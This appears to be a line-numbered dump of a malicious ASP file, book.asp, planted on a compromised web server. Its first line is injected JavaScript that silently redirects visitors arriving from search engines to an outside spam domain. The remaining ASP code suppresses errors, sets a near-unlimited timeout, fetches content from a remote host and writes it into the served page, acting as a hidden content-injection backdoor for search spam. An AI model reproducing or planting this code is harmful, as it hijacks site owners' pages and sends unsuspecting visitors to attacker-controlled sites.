d:\wwwroot\wuchunhua\book.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
002:
<%
003:
On Error Resume Next
004:
Server.ScriptTimeOut=9999999
005:
Function getHTTPPage(Path)
006:
t = GetBody(Path)
007:
getHTTPPage=BytesToBstr(t,"UTF-8")
008:
End function
009:
Function Newstring(wstr,strng)
010:
Newstring=Instr(lcase(wstr),lcase(strng))
011:
if Newstring<=0 then Newstring=Len(wstr)
012:
End Function
013:
Function BytesToBstr(body,Cset)
014:
dim objstream
015:
set objstream = Server.CreateObject("adodb.stream")
016:
objstream.Type = 1
017:
objstream.Mode =3
018:
objstream.Open
019:
objstream.Write body
020:
objstream.Position = 0
021:
objstream.Type = 2
022:
objstream.Charset = Cset
023:
BytesToBstr = objstream.ReadText
024:
objstream.Close
025:
set objstream = nothing
026:
End Function
027:
Function GetBody(url)
028:
on error resume next
029:
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
030:
With Retrieval
031:
.Open "Get", url, False, "", ""
032:
.Send
033:
GetBody = .ResponseBody
034:
End With
035:
Set Retrieval = Nothing
036:
End Function
037:
038:
039:
Dim wstr,str,url,start,over,dtime
040:
dim hostname:hostname=Request.ServerVariables("SERVER_NAME")
041:
dim key:key=md5(hostname&"Gk8MKsRs",32)
042:
url="http://ww1.2021tasta.com"
043:
wstr=trim(getHTTPPage(url))
044:
response.write wstr '
045:
'
046:
%
>
047:
048: